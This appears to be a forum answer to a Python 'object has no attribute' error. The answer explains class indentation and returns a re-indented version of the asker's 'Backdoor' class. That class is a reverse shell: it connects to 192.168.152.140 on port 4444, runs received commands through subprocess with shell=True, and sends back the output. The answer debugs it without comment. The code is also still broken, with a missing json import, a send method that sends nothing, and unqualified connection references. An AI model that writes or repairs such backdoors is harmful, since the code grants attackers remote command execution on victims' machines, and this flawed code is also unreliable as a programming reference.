Object has no attribute Python class error?

Indentation in Python is very important: it controls flow and also defines when blocks of code start and stop.
To be part of the same block, code must have identical indentation:

class Backdoor:
   def __init__(self, ip, port):
      self.connection = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
      self.connection.connect((ip, port))

The init function is part of the class becuas eit is indented to the right of the class definition.

import socket
import subprocess 
class Backdoor:
...
def execute_system_command(self,command):
       return subprocess.check_output(command, shell=True)

def run(self):
       while True:
             command = self.reliable_recieve()
             command_result = self.execute_system_command(command)
             connection.reliable_send(command_result)
             connection.close()

execute_system_command and run are not part of the class, becuas ethey are not indented to exactly the same level as the initialization function.
Try this:

<pre lang="python">import socket
import subprocess 
class Backdoor:
   def __init__(self, ip, port):
      self.connection = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
      self.connection.connect((ip, port))

   def reliable_send(self, data):
      json_data = json.dumps(data)

   def reliable_recieve(self):
      json_data = self.connection.recv(1024)
      return json.loads(json_data)

   def execute_system_command(self,command):
      return subprocess.check_output(command, shell=True)

   def run(self):
      while True:
         command = self.reliable_recieve()
         command_result = self.execute_system_command(command)
         connection.reliable_send(command_result)
         connection.close()

my_Backdoor = Backdoor("192.168.152.140", 4444)
my_Backdoor.run()

And see if that improves it.